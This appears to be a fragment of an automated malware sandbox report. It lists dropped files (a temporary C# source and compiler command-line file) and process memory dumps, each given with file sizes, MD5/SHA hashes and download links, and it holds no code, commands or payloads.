SHA512
a0df25c222e86b8d7f2849fe906f9f244874524ca2e580a23689a873c8439792f42800207d6cc95453706c083a46b133ab491160cf09ce5c6d1664a8ddf4c315

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dcn4bw3j\dcn4bw3j.0.cs

Filesize
2KB

MD5
b8f676e5e58a88c030c8437cf8c44510

SHA1
d2a94f790a3f41e2e207b6875c3215ad6788d902

SHA256
4580f48e57bafd774e5e2f48b8a7c67541f6cffd366fe702d1d414ca74abe1ab

SHA512
66af99543b3d818bcc700e32686067c8483135f94492f3e6f5a58c8d55ef6f4488052a9311d37fc822284f41b0eec0edfcf12beba4b91b62d42acc3578220b7e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dcn4bw3j\dcn4bw3j.cmdline

Filesize
369B

MD5
f01ff7ca80b4ed2f6ca625e0129d1f7c

SHA1
dbaf95581ede4e0891441a0bc6941975bfe9cf9b

SHA256
43a0558740d6015006eb9002d2b5982b7d53950e8a857c1ad90ea914485b1b41

SHA512
ba467613eaac9f4e13b44bba645136c9084b36bb548a81cb16fc540cae310fc195f64b1767a7a737b17fcd1d87d448d471880646662a2c1125f1a421c7cf9b96

Download Submit
memory/448-127-0x0000000070BF0000-0x0000000070C3C000-memory.dmp

Filesize
304KB

Download
memory/1088-195-0x0000000070BF0000-0x0000000070C3C000-memory.dmp

Filesize
304KB

Download
memory/1140-43-0x000001B3263B0000-0x000001B3265CC000-memory.dmp

Filesize
2.1MB

Download
memory/2864-172-0x0000000070BF0000-0x0000000070C3C000-memory.dmp

Filesize
304KB

Download
memory/2864-183-0x00000000077E0000-0x00000000077F1000-memory.dmp

Filesize
68KB

Download
memory/2864-182-0x0000000007520000-0x00000000075C3000-memory.dmp

Filesize
652KB

Download
memory/3768-206-0x00000000056C0000-0x00000000056D2000-memory.dmp

Filesize
72KB

Download
memory/3768-208-0x0000000008F70000-0x0000000009514000-memory.dmp

Filesize
5.6MB

Download
memory/3768-207-0x0000000008130000-0x00000000081CC000-memory.dmp

Filesize
624KB

Download
memory/4000-51-0x00007FFB1AC10000-0x00007FFB1B6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4000-50-0x0000016173280000-0x000001617349C000-memory.dmp

Filesize
2.1MB

Download
memory/4000-46-0x0000016173280000-0x000001617349C000-memory.dmp

Filesize
2.1MB

Download
memory/4000-45-0x00007FFB1AC10000-0x00007FFB1B6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4000-44-0x00007FFB1AC13000-0x00007FFB1AC15000-memory.dmp

Filesize
8KB

Download
memory/4000-26-0x00000161590F0000-0x00000161590F8000-memory.dmp

Filesize
32KB

Download
memory/4000-13-0x00000161590D0000-0x00000161590EC000-memory.dmp

Filesize
112KB

Download
memory/4000-12-0x00007FFB1AC10000-0x00007FFB1B6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4000-11-0x00007FFB1AC10000-0x00007FFB1B6D1000-memory.dmp

Filesize
10.8MB

Download
memory/4000-10-0x0000016158EE0000-0x0000016158F02000-memory.dmp

Filesize
136KB

Download
memory/4000-0-0x00007FFB1AC13000-0x00007FFB1AC15000-memory.dmp

Filesize
8KB

Download
memory/5032-112-0x0000000007510000-0x00000000075B3000-memory.dmp

Filesize
652KB

Download
memory/5032-115-0x0000000007870000-0x0000000007881000-memory.dmp

Filesize
68KB

Download
memory/5032-101-0x0000000070BF0000-0x0000000070C3C000-memory.dmp

Filesize
304KB

Download
memory/5032-111-0x00000000074A0000-0x00000000074BE000-memory.dmp

Filesize
120KB

Download
memory/5032-100-0x00000000074C0000-0x00000000074F2000-memory.dmp

Filesize
200KB

Download
memory/5032-113-0x00000000076F0000-0x00000000076FA000-memory.dmp

Filesize
40KB

Download
memory/5032-114-0x0000000007940000-0x00000000079D6000-memory.dmp

Filesize
600KB

Download
memory/5052-75-0x0000000008020000-0x000000000869A000-memory.dmp

Filesize
6.5MB

Download
memory/5052-76-0x00000000079C0000-0x00000000079DA000-memory.dmp

Filesize
104KB

Download
memory/5052-88-0x0000000007AA0000-0x0000000007AAE000-memory.dmp

Filesize
56KB

Download
memory/5052-74-0x0000000007920000-0x0000000007996000-memory.dmp

Filesize
472KB

Download
memory/5052-73-0x0000000007760000-0x00000000077A4000-memory.dmp

Filesize
272KB

Download
memory/5052-72-0x0000000006650000-0x000000000669C000-memory.dmp

Filesize
304KB

Download
memory/5052-71-0x0000000006620000-0x000000000663E000-memory.dmp

Filesize
120KB

Download
memory/5052-70-0x0000000006070000-0x00000000063C4000-memory.dmp

Filesize
3.3MB

Download
memory/5052-60-0x0000000005F40000-0x0000000005FA6000-memory.dmp

Filesize
408KB

Download
memory/5052-59-0x0000000005ED0000-0x0000000005F36000-memory.dmp

Filesize
408KB

Download
memory/5052-58-0x00000000057E0000-0x0000000005802000-memory.dmp

Filesize
136KB

Download
memory/5052-57-0x0000000005830000-0x0000000005E58000-memory.dmp

Filesize
6.2MB

Download
memory/5052-56-0x0000000002D70000-0x0000000002DA6000-memory.dmp

Filesize
216KB

Download